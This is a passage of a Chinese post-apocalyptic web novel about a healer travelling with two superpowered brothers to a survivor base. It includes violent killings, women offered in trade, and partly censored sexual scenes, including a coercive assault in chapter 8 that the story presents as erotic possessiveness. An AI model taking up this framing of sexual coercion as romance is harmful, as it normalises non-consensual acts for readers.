为首的是个三十多岁的黝黑男人,笑了声:“兄弟,不好意思,我们车没油了,能借点汽油吗?” 男人堆叠在肥肉中的小眼精明地转了转,不着痕迹打量坐在车上的人。 他本想拦住几个路人直接强抢,可迟泽几人的周身气派,毫不狼狈的外貌穿着让他临时改了话头。 能在末世仍旧保持这样干净体面的外表,这几人一定多少有些实力傍身,不可小觑。 他笑得一脸和善,挠了挠头:“你看,困在这儿大半天了——” “我这里没有免费的午餐。” 迟泽出声截断,语气没有半点起伏。 车上人的淡定让男人迟疑了,拿东西换不是不可以,只是他们的实力究竟如何还不清楚,不如…… “兄弟,我拿这个换如何?” 男人手掌一翻,一个光芒内敛的石头顿时出现在他掌中。 迟泽与迟旭目光一凝,那是……一枚晶核。 晶核是少数丧尸被爆头后会产生的东西,吸收晶核对升级异能有帮助,还能补充体力、强化身体,好处颇多。 可晶核不是那么容易取得的,普通人遇到丧尸能逃之夭夭已是幸运,偶有运气能击杀丧尸,也没那个工夫和闲心去细细搜刮丧尸体内是否有晶核。 万一因挖晶核耽误时间而遇上又一波丧尸潮,那就得不偿失了。 所以,普通人很少有认识晶核的,更别说熟悉晶核的品级了。 迟泽唇角勾起一抹笑。 “三级晶核,手笔挺大。” 黝黑男人瞳孔一缩,看来这次是踢到铁板了。 他心里打起了退堂鼓,却听车上人道:“说吧,要多少汽油?” 迟泽单手虚搭方向盘,姿态松松倚在驾驶位靠背上,一身沉淀下来的矜贵气度,漫着从容优雅,语气淡淡。 那不疾不徐的模样,不知道的,还以为是末世前。 男人有些骑虎难下,只好深吸一口气,伸手比了个数。 用一枚三级晶核换这些汽油,虽然肉痛,但量他们也拿不出这么多。 谁知迟泽轻嗯一声,一只手轻轻抬起,后备箱啪哒一声打开,一个边缘微微渗液的铁皮桶缓缓从车箱内漂出,稳稳落在男人身前。 瞧见这人对异能的掌控如此娴熟,举重若轻……至少在五阶以上,黝黑男人神色一凛,不得已,他朝身后挥了挥手,不远处两个男人立马走上前,合力抬起油桶检查。 黝黑男人讪笑着,上前将晶核递给迟泽,正准备转身,视线不经意扫过后座。 他眼睛瞬间直了,不自觉停住脚步。 一直跟在男人身旁的瘦高男人看着阮卿卿,眼睛一亮,□□道:“浩哥,这京州的女人确实水灵。” 浩哥精明的小眼微眯,指了指车内:“她也给我吧——我用这个换。” 说着,他手掌一翻,又一枚晶核出现在他手中,散发着透亮的浅蓝色光泽,竟是一枚品质更高的四级晶核。 一直缩在角落里当鸵鸟的人被点名,浑身骤然僵硬,她抬头看了一眼浩哥,视线又飘到几人身后的货车上。 车上有几个女人,皆是一身污垢与灰尘,头发也乱糟糟的。 心底猛地一紧,她侧头看向迟泽。 他眼睛微眯看不出情绪,但手指无意识地叩击着方向盘,一副认真的思考状。 糟了!他心动了。 阮卿卿祈求的目光又看向迟旭,楚楚可怜地摇了摇头。 迟旭却像是毫无察觉般,看也不看她,狭长的眼只暗含玩味地盯着浩哥几人,唇角勾着讥诮。 前排迟泽的声音,慢悠悠响了起来。 “好啊。” 他唇角挂着一抹笑,眼底是辨不清喜怒的幽深。 听到他答应,阮卿卿心脏瞬间停跳了一拍。 也是,一个有点用的治愈异能者而已,用一枚四级晶核换,的确是划算的。 她悄悄俯下身,不着痕迹抓起藏在座椅下的一粒石子,捏在手中,指甲几乎嵌进掌心。 这颗石子是从车窗缝隙蹦进来的,趁他们不注意,她偷偷藏了起来。 之前没把握在迟旭的精神监控下逃脱,现在却真到了万不得已的时候…… 变形异能还未施展,却听迟泽沉稳声线说得轻慢,跟了一句:“只是这代价……就不是晶核这么简单了。” 浩哥脸色一变:“什么意思。” 他警觉地后退一步,手下意识摸向了腰间的枪。 可已经来不及,迟泽目光微微一冷,下一秒,一阵金属压力剧增的刺耳声响,滋滋响起。 几人手持的枪支以肉眼可见的速度扭曲变形。 电光石火间,场上所有武器瞬间化为一堆铁屑,散落在地。 甚至连挡在路中的铁皮路障,也像是被什么东西碾过一样,瞬间扭曲、压扁,再也阻挡不了任何。 迟泽无需给迟旭眼神,懒靠在椅背上的人眯了眯眼,浩哥等人顿时僵立原地。 精神力像一把磨得尖锐的锋针,狠狠地刺进了那些人脑海。 “啊——!!” 惨叫声此起彼伏。 他们只觉脑中如被惊雷猛击,下一瞬已七窍流血,面容惊惧地仰倒在地上,死不瞑目。 迟泽随手拿过那枚光芒不变的四级晶核,面上没有一丝波澜。 他敛去眼底视线,脚下轻踩油门,低调车身 呼啸卷起尘土,扬长而去。 迟旭转过头,看向身旁惊魂未定的人,忍不住伸手揉了揉她毛茸茸的脑袋。 “放心吧,没想把你给别人。” 阮卿卿愣了下,又听那人懒洋洋的语调:“毕竟,我还没吃上呢。” “……” 骂人的话卡在喉间,只余一腔无从发泄的无语,干脆正过头,不再和他对视。 眼不见为净! 她看向迟泽,心里有些发堵,微微犹豫:“剩下那些女人,不管她们吗?” “姐姐,自己都自顾不暇了,还管别人呢。” 阮卿卿抿着唇,没理会旁边吊儿郎当的声音。 透过后视镜,注意到那张失落不忿都有的小脸,迟泽淡淡启唇:“汽油留给她们,没有收回,已经是我最大的善意。” 阮卿卿愣了愣,默默垂下眸。 她的确没资格也没能力担心别人……自己尚且身不由己。 经此一事,阮卿卿忽然觉得后怕,自己曾经还打算一个人驾车回南安,现在想想,真是太天真了。 如果她的运气再差一点,或者没有任何觉醒任何异能,那她随时可能会死,不死也绝不会好过。 在她的能力还不够强大,也没有和家人汇合之前,她确实需要……找一个能暂且庇护她的人。 阮卿卿目光落在了驾驶座的人身上。 迟泽的金属系异能,强横如斯,无论自保还是攻击都足够了,他对她没有恶意,自身有原则和底线,迟旭也受他约束,如果能寻求他的庇护……至少她不会被随意欺凌。 但目前看来,他对自己毫无想法,她的治愈异能在他眼里也只是淡淡一瞥。 阮卿卿皱着眉,陷入思索。 怎样才能将自己和他绑定呢? 目光不自觉掠过男人淡薄的唇,侧脸轮廓清隽矜冷,喉结线条利落,克制得连一丝起伏都不肯外露。 一个大胆的想法逐渐在少女脑海中成型。 …… 天色渐渐暗沉,末世的夜晚,来得格外早,也格外危险。 迟泽和迟旭找了一处废弃的郊区厂房,两人决定在这里安置一晚。 厂区内丧尸并不多,兄弟俩利落清理掉员工休息区的丧尸,随即各自休整。 阮卿卿洗完澡出来,余光注意到迟旭紧接着进入了浴室。 她眼睛一亮,好机会! 趁迟旭不在,她蹑手蹑脚摸到迟泽的房间外,一片黑暗和寂静中,阮卿卿抬起手,轻轻推开了门。 她心脏砰砰狂跳起来,好在男人正闭目躺在床上,鼻骨高挺,在脸侧投出一道狭长幽影,冷沉的月光静静流淌,无声落在他肩头。 均匀的呼吸显示他已经入睡。 阮卿卿放轻脚步,像是没看到一般,假装摸着黑,慢慢走至床边,轻手轻脚躺了进去。 床不大,是张单人床,两个人躺着,难免会有肢体接触。 阮卿卿缩在床的最边缘,尽量和他保持距离,触碰到的手臂肌肤却一点点泛起热意。 等明天早上他醒过来,看到她躺在身边,一定会很惊讶吧? 不知道他会是什么反应……生气?还是顺水推舟? 阮卿卿胡思乱想着,嘴角不自觉地勾起窃喜。 计划通! 然而没高兴太久—— “你躺在这里做什么?” 一道清朗声线带着懒沉的倦色,忽然在寂静房间内响起。 阮卿卿刚刚合上的眼猛地睁开,他竟然没睡?! “啊,我……我走错房间了,实在不好意思。”她假装惊呼一声,干巴巴道。 今晚必须得做点什么,不然还没得逞就被迟旭知道,她的日子不会好过了。 既然如此……阮卿卿通红着脸,咬了咬牙。 她缓缓起身,一片昏暗中,左手悄悄拉了拉白色吊带的末端,随着起身的过程,锁骨下大片雪腻“不经意”朝着男人的方向露了出来。 “我这就走……” 阮卿卿磨蹭着,缓缓朝门口移步,余光却一直偷偷瞧着那人的反应。 迟泽幽深的眸隐在琼琼黑夜中,只凝视着她的动作,始终没有任何动静。 不是吧!这都没有想法? 难道他对女人根本没兴趣? 阮卿卿暗自叹了口气,今晚出师不利,只能之后再想办法了。 她磨磨蹭蹭走到门口,拉开房门向前迈步的下一刻,身后磁性的声音却幽幽响起。 “我这里失败了,就要去找迟旭吗?” 7. 第 7 章 阮卿卿脚步猛地顿住,转过头,却见迟泽已经起身,沉沉黑眸紧锁着她,像是凶猛肉食动物精准锁定着猎物。 他朝她走来,意味不明笑了声:“想找靠山?” 阮卿卿心里咯噔一下,他看出来了? 她咬着唇,犹豫着默认了。 身后打开的房门却猝不及防被关上,金属锁扣“啪哒”一声落了锁。 四周空气微微扭曲,一层浅褐色的半透明光罩忽然凝聚成型,包裹住整个房间。 这是……四周凝结出的金属元素? 做了半天心理建设的人,睫毛一颤,顿时开始发怵,迟泽对金属的掌控居然已经到了这种地步。 她下意识后退一步,后背贴上了门,现在的迟泽给她的感觉十分危险,完全不若平时的冷淡平和。 “这层光罩隔绝了迟旭的精神探测,你可以继续……勾引我了。” 这话中间稍顿,男人似乎在找一个没有那么直白的词,可他仍然用了那个词,尾音含着低沉的笑,带着点说不清道不明的意味。 见她不说话,迟泽向前逼近,停在很近的位置,高大身形带着不容拒绝的男性气息,深沉笼罩住她。 “怎么?这就退缩了?” 阮卿卿眼前顿时陷入一片黑暗,窗外月光这唯一光源被他的宽肩完全遮挡。 他很高,她需要仰着头,才能看到他的脸。 “我……”阮卿卿声音不自觉有点抖,“我没有……” 迟泽低眸,看着她。 少女长睫颤动着,圆圆的眼睛湿漉漉,像一只误入歧途的小鹿,脸上还带着未退的红晕,嘴唇红红的,泛着自然的水光。 白色吊带滑下来一边,露出精致锁骨和大片白皙的皮肤,在昏暗光线下格外惹眼。 迟泽喉结微微滚动了下,眸色深了几分。 他缓缓俯下身,凑近她耳边,温热气息一点点喷洒在她耳廓上。 “那就不要半途而废。” 话落下,一只手触电般抚上阮卿卿肩头,吊带被剥落,有什么顿时暴露在空气中。 这瞬间她大脑一片空白。 看似禁欲淡漠的人,那只修长冷白的手,骨节修长分明,却如此干脆直白,上手做这种完全悖逆的事。 带有薄茧的指尖抚上白玉的顶端,莹白逐渐汇聚成水珠溢出,将不食人间烟火的手染上了绮靡的谷欠色。 好痒……好难受……但阮卿卿不敢躲避,只要再忍忍她就成功了。 谁知那只扌兆逗的手又来到下方,一个散发着蓝色幽光的物体忽然出现在他掌中。 迟泽轻声笑了笑,晶核在手中滚了滚,不容置疑地将其塞入具有同样治愈作用的某处。 “本想明天再给你的,谁知道你这么迫不及待。” 什么东西? 阮卿卿低低惊呼一声,那东西熨烫得她特别不舒服,凡是碰到的地方都泛起一阵难而寸的酸麻。 “知道它为什么是蓝色的吗?” 听到这句,阮卿卿心头一跳。 今天那个四级晶核? 他竟要把这个给她? 所以当时迟泽对这枚晶核心动,思考的不是把她送给别人,而是…… 还没等她混沌的脑子思考完全,又听耳边嗓音低哑:“蓝色代表了它的水属性,正适合你这样的治愈系异能者——” “你说你浑身上下哪里水最多?嗯?” 迟泽猛然将晶核推到了最里,晶核凹凸不平的外壁顿时激得她浑身一震。 “啊!” 阮卿卿双唇无意识地微张,发出阵阵令她感到陌生的声音。 迟泽盯着她不断轻颤的唇,眸色一暗,随即凶狠地吻了上去。 被迫承受着他的吻,阮卿卿不断安慰自己,没事的,不就是眼睛一闭一睁的事,在这个吃人的末世,性命和贞操,哪个更重要? 可她显然将这件事想得太简单了。 上下被一同侵袭着,拥有治愈作用的某处遇到异物持续收纟宿,不断挤压着丧尸晶核,久旱逢甘霖似地吸收着里面的养料。 与此同时,一个冰凉的物体也贴了上来。 阮卿卿低头看去,竟是迟泽已经金属化的某处,幽冽的光泽内敛,隐在黑暗中,令人不容忽视。 她头皮一凛。 “喜欢吗?”迟泽吻了吻少女额头。 …… 晨光渐亮,柔白天光斜斜落进房间。 阮卿卿睁开迷茫的眼,发现身旁已经空无一人,床单皱巴巴的,地上的水渍,身上的不适,一切的一切都显示着昨晚的疯狂。 她摸了摸平摊的小月复,好在没有受伤,也没有捅破。 金属质地表面光滑,摩擦的阻力随之小了许多,速度更不像是常人可以达到的。 她差点以为自己要死了,那种一整个头皮战栗的感觉似乎犹在眼前。 好在她晕得很早,泪光涣散着晕过去前,似乎听见耳边传来一声轻叹,真不禁*。 阮卿卿心中懊恼,随便找了件衣服套上,没发觉胸前愈加紧绷。 想到昨晚吸收四级晶核,她有些欲哭无泪。 别人吸收晶核也这样羞耻吗…… 难道因为她是特殊的治愈系? 肚子有些饿了,她穿好衣服,小心翼翼踱步出去,准备找点东西饱腹。 来到一楼餐厅入口,两道视线不约而同地扫视过来。 阮卿卿头皮一紧,抬头对上迟旭意味不明的幽深目光,像是能将她穿透。 ……他知道了。 迟旭靠在椅背上,双手环胸,似笑非笑看着她的一举一动。 迟泽又恢复了那副淡泊的样子,手里拿着一份地图,似乎在研究路线。晨光落在他半边侧脸,勾勒出冷削的下颌线,周身气质浑然天成,看起来清冷又干净。 一顿普通的午饭,土豆泥加面包,阮卿卿吃得心惊胆战,一道可怕视线始终黏在她身上,像要将她生吞活剥。 最后一口咽下—— “吃完了?” 迟旭姿态悠闲地倚靠餐吧前,长指骨节分明,不经意转了转手里那把寒光凛然的银色餐刀。 刀刃反射着冷冽的光,阮卿卿呼吸一滞。 她发誓她从没将土豆泥吃得这么干净过,但盘中餐总有吃完的时候…… 迟旭手指夹着餐刀,缓步向她走来,冰凉刀刃贴在女人细嫩的脸颊上,缓缓向下 挪动。 “起得挺晚啊,我和哥等你半天了。” “昨晚睡得好吗?” 听到这句,阮卿卿周身瞬间绷紧,完了。 她视死如归般闭上了眼,同时大脑疯狂运转,不断思考在精神控制时间差下用变形异能逃跑的可行性。 “迟旭——” 好在一道熟悉的沉稳声线及时响起。 听到那个声音,迟旭从鼻腔嗤出一声,却没再做什么,只是用刀柄拍了拍女人面色发白的脸,而后将其放开。 阮卿卿长长松了口气,劫后余生。 她偷偷看向迟泽,心中雀跃,面上却不动声色。 虽然昨晚受了些苦,但她赌对了! 有了迟泽这个护身符,迟旭能奈她何? 以后再也不用怕那个混蛋了! 三人简单休整后,再度踏上旅程。 黑色越野重新驶上公路,一路向东。 阮卿卿不知道两人要带她去哪,但她能察觉到这个方向绝不是往南,她似乎离南安越来越远了。 看着窗外不断变换的风景,阮卿卿心中无端悲凉,她的朋友和家人都在南安,不知道他们现在怎么样了…… 她眼眶略微发红,正自顾自惆怅着,忽然感觉月匈口像被什么东西轻轻碰了下。 阮卿卿轻嘶一声,低头检查,一切正常。 难道是衣料的原因? 可是下一秒,另一处也被扌无慰性地涅了一下,她头皮霎时一麻。 她的治愈异能对自己身体也有潜移默化的恢复作用,但昨晚到现在时间太短,即便某些地方已经恢复得差不多,却不可避免着些红月中。 忽然被这么刺氵敫一下,阮卿卿倒吸一口凉气,差点没忍住发出声音。 到底是什么东西? 正惊疑不定着,四周的风景倏然模糊起来,白茫茫一片,这感觉,似乎是陷入了梦境…… 难道是精神力? 阮卿卿猛然看向前排,副驾上空空如也,迟旭的身影已然消失。 “姐姐,是在找我吗?” 一道带着笑意的嗓音,毫无预兆贴在耳畔乍响。 阮卿卿悚然侧头,迟旭不知什么时候,竟坐到了她旁边。 他随意靠在后座上,侧着脸,长腿悠闲交叠,笑吟吟地看着她。 可那笑容,丝毫不达眼底。 对上那双黑眸,眼底的光恣戾,阮卿卿心底一沉。 “你……” 迟旭唇角笑容裹着化不开的阴郁:“昨晚你和迟泽精神力双双消失,我可担心坏了。” “没想到……” 他语调散漫,眸光随之沉了下来。 “姐姐能耐挺大啊,学会勾引人了?” 阮卿卿脸色瞬间煞白,慌忙扭头喊迟泽的名字,可驾驶位上的人置若罔闻,只目视前方,仍旧专心开车,仿佛一点都听不见她的呼救。 “没用的,这里是精神世界,他发现不了,更救不了你。” “姐姐不会真的以为,爬上了迟泽的床,我就不敢动你了?” 迟旭阴恻恻轻笑一声。 “这么缺男人,不让你尝点新奇的,倒是我小气了。” 8. 第 8 章 “等等,迟旭,不是那样的——” “不是哪样的?你知道你现在是什么样吗姐姐?” 迟旭面容阴鸷,手指顺着她脸颊慢慢往下,他低低笑着,语气里带着毫不掩饰的残忍和占有欲。 阮卿卿只觉脑中一根弦突然崩断,浑身全部毛孔像是悉数张开了一样,无端躁热起来。 身体像是在千斤重的水下行走,分外沉重,各处感官却随着燥意涌出,忽然变得比平时每攵感数倍。 衣料轻微的摩擦,微风的拂动……………… ………………………… 阮卿卿不适地撑着身子往后,距离拉开后,下移的眸光却是一颤,迟旭………………,意味着什么显而易见。 她慌忙挣扎着后退,害怕着想要逃离,却忘了这里是他的主场。 ……………………更胜之前的视觉盛宴让迟旭一愣,随即唇角扬起讥讽。 那枚四级晶核去哪了,不需要多问,迟旭已经了然。 “他确实舍得……” 轻易提溜起人凑近自己,迟旭近距离查看那愈发饱月长处,而后轻轻朝那吹了口气,几小簇……………… 神经忄夬感受到重创般传至大脑,剧烈的西禾痒自那处扩散,霎时间传遍全身。 “爽吗?”迟旭狭长的眼含着恶劣的调笑,紧盯她的反应。 阮卿卿贝齿…………………… “你…………………… “你这个变态!”阮卿卿恨恨咬牙,“放开我!” “不喜欢?” “那就让我哥试试吧。” 迟旭哼笑着,意念一动,阮卿卿就发现……………… 而迟泽毫无反应,悠长的视线穿过她直视前方,又像是光明正大窥视着她。 正专注驾驶的人,温热呼吸丝丝缕缕不断扫过来,汽车颠簸间,…………………… 迟旭悠然观赏着,恶劣地控制少女更加贴近迟泽,直到能够泌出治疗水液的那处被迟泽无意识地蹭进嘴中,她终于控制不住,泣音发出哭声。 “满意吗?” “以后每天都让我哥帮你纾解一下,以免总想着勾引别人,怎么样?” 不断加剧的酸痒忄夬感如天崩地裂般击毁着她的思绪和理智,即将断弦前,迟旭才终于将她解放回来,然而真正的折磨才刚刚开始。 强硬将女人足危扌安在后座上,迟旭长指勾起一丝晶莹,剑眉微挑。 “真是**。” “忍得很难受吧?别急,…………………… “啊——!!” …………………… …………………… 具有治愈作用的…………………… “就算……………… 凝滞的空气中……………… 可惜,迟旭哪里…………………………………… 但迟旭根本不给她机会,……………………………… “姐姐这是要去哪里?想去哪跟我说……我就这样………… “我和迟泽…………………… “嗯?” 见她不应答,迟旭………………………… ………………………… …… 不知过了多久,细细密密痴缠的吻落下,……………… 白雾散去,越野依旧平稳地行驶在公路上,迟旭也仍旧坐在副驾上,背靠着椅背,似是从没离开过。 而阮卿卿像是刚从水里打捞出一般,浑身氵显透地昏睡在后排,汗湿的小脸透着……………… 迟泽早已察觉出她的异常,眼含不悦睇向旁边迟旭,眉峰紧蹙。 “迟旭,你这次太过火了。” 迟旭漫不经心轻佻一笑:“过火?” “哥,你不会认真了吧?” 迟泽面色瞬间冷沉:“无论如何,你不该把火发泄在她身上。” 后者散漫的声线也冷了下来:“这是我和她的事,迟泽,你未免管得太宽了。怎么,好人装上瘾了?” 迟旭嗤笑着,语调讥诮:“汽油说送就送……呵,我怎么不知道我哥是这么个大善人呢,迟泽,你是不是忘了自己的真面目了,演得差点连我也信了。” “真那么磊落大方,直接把汽油给她呀,再添置点别的物资,把人放了,不比在你我身边安全?” 话越说越难听,迟泽的脸色也越来越沉。 眉宇间终是染上了怒意,他侧过头:“迟旭,你是忘了爸妈死前答应的了?” 迟旭面上笑容淡下:“不用拿他们压我,别忘了,我们约定的期限只有一年。” “是,一年后你去哪我不管,你要做野人烂在外面,我也不拦着。” 迟泽的声音听不出情绪,目光落回前方的公路:“但她呢?那时你再逼迫她和你一起?” “一年之后的事谁又说得准?” “迟旭,她不是你的所有物,别把人逼得太紧。” “只要哥你不来掺和一脚,我自有我的节奏。” “节奏?我不拦着你,你这无法无天的混账性子,知道节制两个字怎么写?” 迟旭侧脸紧绷着,冷淡笑了声:“那就不劳费心了。” 说完,他调整椅背往后一靠,闭上了眼,半句多余都欠奉。 车内气氛再次陷入冰点。 阮卿卿一颗心也跟着发寒,直坠谷底。 所以迟泽早就发现了,却任由迟旭这样对她,无动于衷? 也是……他们是亲兄弟,她竟然会对迟旭的兄弟有所期待。 指甲一点点陷进手心,阮卿卿假装阖目睡着,心底却暗暗下了决定。 一路无话。 越野向东飞速疾驰,四周景物变换,空气湿度渐渐加大,周围植被也肉眼可见地茂密起来。 西部的荒草和低矮灌木,逐渐变成高大树木和郁郁葱葱的丛林。 阮卿卿靠在车窗上,假装看着窗外发呆,却不着痕迹一路观察着景物和地标。 直到越野进了一处密林公路,一阵异香隐隐飘来。 那香气甜腻,若有若无的,迟旭眉心一跳,暗道一声不对。 他的精神力一直铺开在周围一公里的范围内,虽然没有感知到周围有任何异动,但这里太安静了,竟没有一丝生命体征存在。 他正欲开口提醒迟泽,地面却毫无预兆地剧烈抖动起来,下一秒,无数道裂缝龟裂般蔓延开,几排粗壮似绿蟒的藤蔓类植物从地底疯狂涌出,朝越野车顶凶猛抽击而来。 迟泽反应很快,一道金属防护罩瞬息凝结于车顶,保护车身不直接暴露在藤蔓的围攻下。 但那诡谲藤蔓击打防护罩的余波,和不再平整的路面,仍然影响了越野的平衡,坦克般沉重的改装车在猛震中趔趄了下,阮卿卿也在这一强烈震感下一时没坐稳,磕到了头。 迟旭精神高度集中,观察着四周情况,迟泽也边使用异能抵挡藤蔓,边控制汽车避开地面上不断出现的深坑。 “没有精神波动,不是人类。”迟旭判断道。 迟泽冷静点头,同时手中射出一道冰晶似的菱形金属,朝越野侧后方意欲偷袭的藤蔓贯穿而去。 很快,墨绿色的汁液从枝干伤口处喷溅出来,可被刺穿的藤蔓只是颤抖了下,很快又恢复了活力,更加疯狂地抽打过来。 “是变异植物,而且等级不低。” “这样下去不是办法,我们加速离开这里。” 迟泽轻嗯一声,左手隔空微抬,庞大的四轮驱动开始缓缓升起。 在距离地面约一米时,迟泽右脚狠踩油门,越野如火箭炮般弹射而出,顿时将大波藤蔓远远甩在身后。 迟旭微微松了口气,习惯性地瞧了眼后视镜,后座不知何时竟空无一人! 艹! “快回去!她被掳走了!” 几乎是同时,迟泽当然也发现了。 两人脸色瞬间难看到极点,后座的她被藤蔓带走,他俩竟一点也没察觉。 但此时多说无宜,迟泽毫不犹豫地猛打方向盘,调转车头,朝那片藤蔓肆虐的区域冲了回去。 再次回到龙卷风般活动的变异植物包围圈,无数藤蔓遮天蔽日,疯狂舞动着。 迟旭一边应付藤蔓令人头皮发麻的攻击,一边扩大精神力搜寻范围—— “在那里!” 藤蔓群的最中心,一个纤细身影正被一条粗壮藤蔓捆粽子般缠在其主枝干上,只有头和脚依稀露在外面。 露出的部分隐约可见细小的划痕,似乎隐隐向外渗血。 看清的瞬间,迟泽瞳孔一缩,几乎目眦欲裂。 一向沉稳从容的人低低咒骂了声,全力控制越野靠近阮卿卿所在的主枝干,效果却甚微。 两人越靠近中心,变异植物就越疯狂,车周坚硬的金属边角已经被周遭藤蔓挤压变形。 “该死!” 迟旭心底焦急万分,他的精神力已经用到了极限,头疼得像是要炸开一般。 可那株变异植物,就像是没有穷尽一样,源源不断地从地底涌出。 他头次感到如此无能和无力,他和迟泽的异能虽然强大,面对人类、丧尸甚至变异动物都游刃有余,面对这难缠的变异植物却如此乏力…… 阮卿卿被藤蔓缠在半空,透过枝叶缝隙,注意到迟泽和迟旭正奋力向她靠近,没忍住骂了声。 有病吧! 事实上,她趁两人疲于应付之际,故意抓住一只当时正欲偷袭的藤蔓,顺势被其掳走,只要在快窒息前变成小石块或者同样的藤蔓,她就能神不知鬼不觉地离开。 多么完美的计划! 谁知这两人竟回来寻她了! 阮卿卿无语极了,她被缠得越来越紧,呼吸越来越困难,快要窒息了。 不行,哪怕当着两人的面,她也必须变形了…… 她捏住手边一缕枝条,正准备催动变形异能,四周藤蔓却突然冰雪消融般褪了下去,如听话的宠物般乖巧地钻回地缝里。 怎么回事? 她还没搞清楚状况,缠绕在身上的藤蔓已经松开。 身体顿时失去支撑,阮卿卿尖叫一声,从半空中直直往下坠。 失重的风呼啸,她紧闭双眼,预想中的疼痛却没有出现,她似乎落入了一个怀抱,沉稳结实。 鼻尖是淡淡的草木香,阮卿卿睁开眼,一个陌生男人稳稳接住了她。 他戴着副金丝眼镜,透过镜片的反光,那双眼眸幽深,正一眨不瞬地落在自己身上。 阮卿卿低头看去,这才注意到自己的状况。 她的衣服在刚才变异植物的肆虐中划烂了,全身上下几乎没有一处完好的布料,到处都是细小的伤口,一副惨遭摧残的狼狈模样。 她连忙双手抱住胳膊,试图遮掩,耳根不自觉开始发烫。 郁文舟深沉的目光却愈发赤.裸直接。 他自问不是趁火打劫的人,可怀中女人………………一双杏眼湿漉漉的,眼尾泛着红,竟有一种战损般惊心动魄的美感。 令人不禁想要……狠狠蹂躏。 9. 第 9 章 迟泽迟旭二人大步赶来,一件大衣及时盖在了阮卿卿身上。 迟旭不容拒绝地强势抱过她,不动声色压了压衣角,将她全身裹紧。 郁文舟还未细细感受指尖的温度,那抹柔软就从怀里离开。 他自然而然地放下手,空空如也的指尖却下意识摩挲了下,似是在难耐回味什么。 阮卿卿对迟旭没什么好脸色,立即就想挣扎,却被凶巴巴地警告:“老实点,再动就把你扔这儿喂丧尸。” “真的吗?”她恨恨瞪他,“那快点吧,是男人就说到做到。” “……” 迟旭一噎,眸色瞬间晦暗下来,抿唇不吱声了。 身后迟泽走来,拍了拍郁文舟硬朗的肩臂,两人相视一笑,单手大力交握在一起,老友重逢般撞了一撞。 “好久不见,文舟。” 郁文舟朗声一笑:“好兄弟,你一点也没变,看来还是当年队里那把最利的枪。” “你也不差,刚刚那些变异藤蔓是你解决的吧?这是……植物系异能?” 郁文舟不置可否地挑了挑眉:“这一带变异植物猖獗,我猜你们可能会遇到麻烦,所以提前过来。” “多谢。” 迟泽浅淡笑着,往后让了半个身位:“这是迟旭。” 迟旭微微颔首算作回应。 郁文舟微不可察地打量了眼迟旭宣告主权般的动作,随即点头:“走吧,等你们很久了。” 一行人在郁文舟的带领下,终于在天黑前抵达了此行的目的地——枭东基地。 枭东基地依江而建,原是一座大型仓储物流中心和货运港口,末世降临后,其优越的地理位置和充足的物资储备吸引了各方势力,也迅速被各路高阶异能强者争夺。 “现在的领主是赵刚。”郁文舟淡淡道。 阮卿卿注意到基地外围正在修筑防御工事,大批花岗岩等建筑材料被拉至墙根,混合水泥填补着外墙上密密麻麻的碎裂和空缺。 “最近丧尸活动很频繁?”迟泽看着墙上可怖的痕迹问。 郁文舟略微点头:“这里毕竟是东部最大的防御基地,这段时间基地内又人口剧增,自然吸引了源源不断的丧尸。” “不过——你来了就不一样了。”郁文舟微微一笑,“毕竟金属的坚硬程度,不是普通土木石材可以相比的。” 越野开到了基地正门口,门口排着长长的队,有拖家带口的,也有带着武器的。 守卫检查得很严格,每个人都要核验身份,检查有没有受伤的痕迹,还要交入城费。 可四人所在的车开过去时,没有出示任何证明,很快就被放行了。 门内守卫看到副驾坐着的人,甚至还齐刷刷敬了个礼。 郁文舟带着他们越过众人,畅通无阻地进入基地。 “这里是外城,主要安置寻求庇护的难民和隔离未满四十八小时的新住民。只有异能觉醒者,或拥有一定物资实力,通过资格审核才能入住内城。” 基地外城混乱异常,秩序全无,各类人群混杂在一起,笑声、哭喊声甚至许多令人毛骨悚然的声音纷扰不断,无人出来主持治安。 阮卿卿亲眼目睹一侧角落里,三、四名壮汉正使用异能狂殴一男一女,而四周一片漠然,没有一人出来制止。 阮卿卿不忍再看,用迟旭的衣服掩住了头。 越野又向前行进了一刻钟,四人终于进入了内城。 仅仅一墙之隔,墙内墙外却是截然不同的景象。 如果说基地外是一片死寂凋敝的废墟,基地外城是混乱残酷的罪恶世界,那基地内城则像是进入了末世前繁华的开发区,不仅秩序井然,连基础设施都十分完备。 几人来到一处环境清雅的湖心别墅区。 “这里原来是个康养度假区,因为距离军械库较近,所以也被扩到了基地里,目前暂作领主和各高层的居所。” 越野停在一栋恢弘奢华的复式住宅前,几名手持枪械的武装士兵上前敬了个军礼,引领几人上楼,来到一处会议室外。 郁文舟递给迟泽一个饱含深意的眼神:“走吧,赵刚在等你们。” 迟泽下颌不着痕迹动了动,几人相继进入会议室。 阮卿卿默默跟在后面,谁知会议室外驻守的士兵却单单拦住了她。 “站住,女人不能进去。” 迟旭神色不耐,正欲开口,郁文舟视线已经冷冷扫过去:“闭嘴,差事做得好,活的倒是不耐烦了?” 士兵连忙低头:“是!郁师长,属下冒犯。” 会议室正中坐着一个分外雄壮的平头方脸男人,一道狰狞伤疤从他额间起,穿过右眼,一直延伸至耳后。 注意到他们进来,赵刚眼睛一亮,大笑着起身:“终于来了,快坐。” “这位就是迟泽吧,我听文舟说了,基地目前就缺你这样的金属系人才。”赵刚音调洪亮,带着毫不掩饰的欣赏。 “赵领主,客气了。” 迟泽略微颔首,声音礼貌疏离,听不出情绪。 “这位一定是迟旭小兄弟?七阶精神系,后生可畏啊。” 迟旭没给什么好脸色,不咸不淡应了声,明显心情不佳。 原因无他,一路上不管他怎么和她没话找话,都被冷冷无视了。 好歹末世前他也是京州远近闻名的迟二公子,家世显赫,去哪都被捧着,只有别人热脸贴他冷屁股的份,什么时候被这么无视过? 看来还是那会儿没治服帖,迟旭眸底噙着冷笑。 来人一副冷淡态度,赵刚却不恼,他目光被几人身后最后进来的少女吸引,那巴掌大的小脸,清凌凌的劲儿,仿佛从没遭受过末世的摧残。 赵刚眼底闪过一丝惊艳,不禁多打量了几眼。 冗长的会议终于落下尾声,阮卿卿坐在长桌最末尾的椅子上,已经昏昏欲睡。 被迟旭在精神世界里折腾半天,之后又是被藤蔓掳走,又是应付迟旭在旁边苍蝇嗡嗡,早就筋疲力尽了。 她本想熬到会议结束,直接去分配给她的住所休息,好好睡一觉,却被告知晚上还有一场宴会,为迟泽一行接风洗尘。 “阮小姐,请您来这边。” 一个细细软软的声音忽然响起,阮卿卿闻声回头,是一个瘦弱的女孩,要带她去三楼的衣帽间。 寄人篱下,没有说不的资格,阮卿卿沉默几秒,点了点头。 